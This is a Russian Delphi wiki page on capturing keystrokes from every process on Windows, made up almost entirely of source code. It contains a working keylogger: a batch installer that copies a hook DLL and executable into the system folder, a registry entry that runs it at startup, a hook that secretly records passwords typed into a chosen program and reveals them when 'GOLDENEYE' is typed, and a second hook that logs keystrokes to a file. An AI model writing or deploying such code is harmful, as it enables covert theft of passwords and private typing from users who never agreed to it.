Как отловить нажатия клавиш для всех процессов в системе
Материал из DRKB
Как отловить нажатия клавиш для всех процессов в системе[править | править код]
Setup.bat[править | править код]
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg[править | править код]
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
KbdHook.dpr[править | править код]
program cwbhook;
uses
Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat
until
not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr[править | править код]
library HookAgent;
uses
Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);
end.
KeyboardHook.pas[править | править код]
unit KeyboardHook;
interface
uses
Windows;
const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;
implementation
uses
SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
ID: 01526
library Hook;
uses Windows, SysUtils;
const
KF_UP_MY = $40000000;
var
CurrentHook: HHook;
KeyArray: array[0..19] of Char;
KeyArrayPtr: Integer;
CurFile: Text;
function GlobalKeyBoardHook(code: Integer; wParam: Integer; lParam: Integer): LongWord; stdcall;
var
i: Integer;
begin
if code < 0 then
begin
Result := CallNextHookEx(CurrentHook, code, wParam, lparam);
Exit;
end;
if ((lParam and KF_UP_MY ) = 0) and (wParam >= 65) and (wParam <= 90) then
begin
KeyArray[KeyArrayPtr] := Char(wParam);
KeyArrayPtr := KeyArrayPtr + 1;
if KeyArrayPtr > 19 then
begin
for i := 0 to 19 do
begin
AssignFile(CurFile, 'd:\log.txt');
if not FileExists('d:\log.txt') then
Rewrite(CurFile)
else
Append(CurFile);
Write(CurFile, KeyArray[i]);
CloseFile(CurFile);
end;
KeyArrayPtr := 0;
end;
end;
CallNextHookEx(CurrentHook, code, wParam, lparam);
Result := 0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook := SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook, HInstance, 0);
KeyArrayptr := 0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.
Source: Взято с http://delphiworld.narod.ru
ID: 01527